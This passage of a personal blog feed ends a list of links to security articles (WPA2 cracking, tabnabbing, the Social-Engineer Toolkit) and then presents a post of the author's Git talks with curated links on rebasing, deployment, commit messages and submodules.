<li><a href="http://phreaklets.blogspot.kr/2013/06/cracking-wireless-networks-protected.html?m=1">Phreaklets: Cracking WPA2 Enterprise wireless networks with FreeRADIUS WPE, hostapd and asleap & John the Ripper</a></li>
<li><a href="http://www.guiguishow.info/2016/10/12/tp-mobilite-et-reseaux-sans-fil-reseau-sans-fil-securise-et-monitore-mobilite-ipv6/">TP Mobilité et réseaux sans fil : réseau sans fil sécurisé et monitoré + mobilité IPv6</a></li>
<li><a href="https://www.robertputt.co.uk/2016/11/28/learn-from-your-attackers-ssh-honeypot/">Learn from your attackers – SSH HoneyPot</a></li>
<li><a href="https://medium.com/@chrismcnab/alexseys-ttps-1204d9050551">Alexsey’s TTPs</a></li>
<li><a href="http://www.piotrbania.com/all/kon-boot/">KON-BOOT</a></li>
<li><a href="https://korben.info/rickroller-spotify.html">Rickroller Spotify !</a></li>
<li><a href="https://null-byte.wonderhowto.com/">Null Byte</a></li>
<li><a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/">Tabnabbing: A New Type of Phishing Attack</a></li>
<li><a href="https://mathiasbynens.github.io/rel-noopener/">About rel=noopener</a></li>
<li><a href="https://github.com/trustedsec/social-engineer-toolkit">social-engineer-toolkit</a></li>
<li><a href="https://mango.pdf.zone/">mango.pdf.zone</a></li>
</ul>Git2015-06-03T00:01:00+02:002019-11-29T10:55:00+01:00Romain Pellerintag:romainpellerin.eu,2015-06-03:/git.html<p>All about Git</p><p>Here are two talks about Git I gave in the last two years, at <a href="http://humantalks.com/cities/compiegne">HumanTalks Compiègne</a>. I added the slides as well.</p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/8d04CYP5U9Q?rel=0" frameborder="0" allowfullscreen></iframe>
<iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#git/slides.html" allowfullscreen></iframe>
<p><a href="https://romainpellerin.eu/slides/git/slides.html">Slides are available in HTML</a>.</p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/9gdub0OMC8Y?rel=0" frameborder="0" allowfullscreen></iframe>
<iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#continuous-integration-done-right-by-leveraging-git/slides.html" allowfullscreen></iframe>
<p><a href="https://romainpellerin.eu/slides/continuous-integration-done-right-by-leveraging-git/slides.html">Slides are available in HTML</a>.</p>
<h1 id="going-further">Going further</h1>
<p>Here are some resources to go deeper with Git.</p>
<h2 id="general">General</h2>
<ul>
<li><a href="https://www.youtube.com/watch?v=4XpnKHJAok8">Tech Talk: Linus Torvalds on git</a></li>
<li><a href="http://www.cirosantilli.com/git-tutorial/">Git Version Control Tutorial</a></li>
<li><a href="https://codewords.recurse.com/issues/two/git-from-the-inside-out">Git from the inside out</a></li>
<li><a href="https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc">Learn git concepts, not commands</a></li>
<li><a href="https://www.gitignore.io/">gitignore.io: auto generate .gitignore files</a></li>
<li><a href="https://github.com/github/gitignore">gitignore: A collection of useful .gitignore templates</a></li>
<li><a href="http://stackoverflow.com/questions/13630849/git-difference-between-assume-unchanged-and-skip-worktree">Git - Difference Between 'assume-unchanged' and 'skip-worktree'</a></li>
<li><a href="https://www.clever-cloud.com/blog/engineering/2015/06/09/git-server-30k-improvement/">How We Cut Latency Down by 30k% on Our Git Server</a></li>
<li><a href="http://korben.info/gitrob-evitez-la-catastrophe-sur-github.html">Gitrob – Évitez la catastrophe sur Github</a></li>
<li><a href="http://gitolite.com/git-pull--rebase.html">What does "git pull --rebase" do?</a></li>
<li><a href="http://jeffkreeftmeijer.com/2010/the-magical-and-not-harmful-rebase/">The magical (and not harmful) rebase</a></li>
<li><a href="http://jeffkreeftmeijer.com/2010/the-mighty-reflog-and-the-amazing-bisect/">The mighty reflog and the amazing bisect</a></li>
<li><a href="https://increment.com/open-source/more-productive-git/">More productive Git</a></li>
<li><a href="http://www.git-attitude.fr/2015/12/18/learning-github/">Notre cours vidéo GitHub est sorti !</a></li>
<li><a href="http://www.learnenough.com/git-tutorial">Learn Enough Git to Be Dangerous</a></li>
<li><a href="https://mikegerwitz.com/papers/git-horror-story">A Git Horror Story: Repository Integrity With Signed Commits</a></li>
<li><a href="http://stevelorek.com/how-to-shrink-a-git-repository.html">How to Shrink a Git Repository</a></li>
<li><a href="http://stackoverflow.com/questions/1657017/how-to-squash-all-git-commits-into-one">How to squash all git commits into one?</a></li>
<li><a href="http://korben.info/gitminer-fouiller-github-profondeur.html">Gitminer – Pour fouiller Github en profondeur</a></li>
<li><a href="http://www.git-attitude.fr/2016/05/11/git-reset/">Git reset : rien ne se perd, tout se transforme</a></li>
<li><a href="https://github.com/k88hudson/git-flight-rules">Flight rules for git</a></li>
<li><a href="https://www.youtube.com/watch?v=Hd_UpJPDlik">Entrer dans les entrailles de Git, ou comment faire un commit sans faire du Git (Alexandre Garnier)</a></li>
<li><a href="https://delicious-insights.com/fr/articles/bien-utiliser-git-merge-et-rebase/">Bien utiliser Git merge et rebase</a></li>
<li><a href="https://robots.thoughtbot.com/autosquashing-git-commits">Auto-squashing Git Commits</a></li>
<li><a href="https://git-scm.com/docs/git-worktree#_examples">git worktree</a></li>
<li><a href="http://sethrobertson.github.io/">Git stuff</a></li>
<li><a href="http://alblue.bandlem.com/2011/10/git-tip-of-week-merging-revisited.html">Git Tip of the Week: Merging Revisited</a></li>
<li><a href="http://www.paulboxley.com/blog/2011/06/git-caret-and-tilde">Git caret and tilde</a></li>
<li><a href="https://blog.thoughtram.io/git/2014/11/18/the-anatomy-of-a-git-commit.html">The anatomy of a Git commit</a></li>
<li><a href="https://medium.com/@gohberg/the-biggest-misconception-about-git-b2f87d97ed52">The Biggest Misconception About Git</a></li>
<li><a href="https://www.atlassian.com/git/tutorials/git-gc">Git gc</a></li>
</ul>
<h2 id="rebasing-and-cherry-picking">Rebasing and cherry-picking</h2>
<p>Rebases mostly use <code>git am</code>, which given diffs apply them sequentially. Diffs are computed between a given commit and its parent.</p>
<p>On the other hand, cherry-picks uses a three-way merge to notice file renames.</p>
<p>More on the topic below:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/39279901/what-algorithm-is-used-during-git-rebase">What algorithm is used during Git rebase?</a></li>
<li><a href="https://stackoverflow.com/questions/42530381/issue-with-cherry-pick-changes-from-previous-commits-are-also-applied">Issue with cherry pick: changes from previous commits are also applied</a></li>
<li><a href="https://stackoverflow.com/questions/10058068/in-a-git-cherry-pick-or-rebase-merge-conflict-how-are-base-aka-the-ancestor">In a Git cherry-pick or rebase merge conflict, how are BASE (aka “the ancestor”), LOCAL, and REMOTE determined?</a></li>
</ul>
<h2 id="auto-deployment">Auto deployment</h2>
<ul>
<li><a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-automatic-deployment-with-git-with-a-vps">How To Set Up Automatic Deployment with Git with a VPS</a></li>
<li><a href="http://krisjordan.com/essays/setting-up-push-to-deploy-with-git">Setting up Push-to-Deploy with git</a></li>
<li><a href="http://www.sitepoint.com/one-click-app-deployment-server-side-git-hooks/">One-click App Deployment with Server-side Git Hooks</a></li>
<li><a href="http://williamdurand.fr/2012/02/25/deploying-with-git/">Deploying With Git</a></li>
<li><a href="https://github.com/olipo186/Git-Auto-Deploy">Git-Auto-Deploy</a></li>
</ul>
<h2 id="commit-messages">Commit messages</h2>
<ul>
<li><a href="http://chris.beams.io/posts/git-commit/">How to Write a Git Commit Message</a></li>
<li><a href="http://antirez.com/news/90">Commit messages are not titles</a></li>
<li><a href="http://jeffkreeftmeijer.com/2010/git-your-act-together/">Git your act together</a></li>
<li><a href="http://alistapart.com/article/the-art-of-the-commit">The Art of the Commit</a></li>
<li><a href="https://conventionalcommits.org/">Conventional Commits</a></li>
</ul>
<h2 id="sub-projects-management-submobules-and-subtrees">Sub-projects management: submobules and subtrees</h2>
<ul>
<li><a href="https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/">Using Git subtrees for repository separation</a></li>
<li><a href="http://blog.jingleweb.fr/2013/10/submodules-git-pourquoi-comment/">Submodules GIT: pourquoi, comment ?</a></li>
<li><a href="http://www.git-attitude.fr/2014/12/31/git-submodules/">Comprendre et maîtriser les submodules Git</a></li>
<li><a href="https://git-scm.com/book/en/v1/Git-Tools-Subtree-Merging">Subtree Merging (official documentation)</a></li>
<li><a href="https://medium.com/@porteneuve/mastering-git-subtrees-943d29a798ec">Mastering Git subtrees</a>: <code>git read-tree</code> and <code>git subtree</code> are two different commands.</li>
<li><a href="https://developer.atlassian.com/blog/2015/05/the-power-of-git-subtree/">The power of Git subtree</a></li>
</ul>
<h2 id="tricks">Tricks</h2>
<ul>
<li><a href="https://pypi.python.org/pypi/ansi2html/1.0.7">Git diff to HTML</a></li>
<li><a href="https://csswizardry.com/2017/05/little-things-i-like-to-do-with-git/">Little Things I Like to Do with Git</a></li>
<li><a href="https://www.youtube.com/watch?v=Rnh5QK__pLA">DevFest Nantes 2018 - Git Dammit !</a></li>
</ul>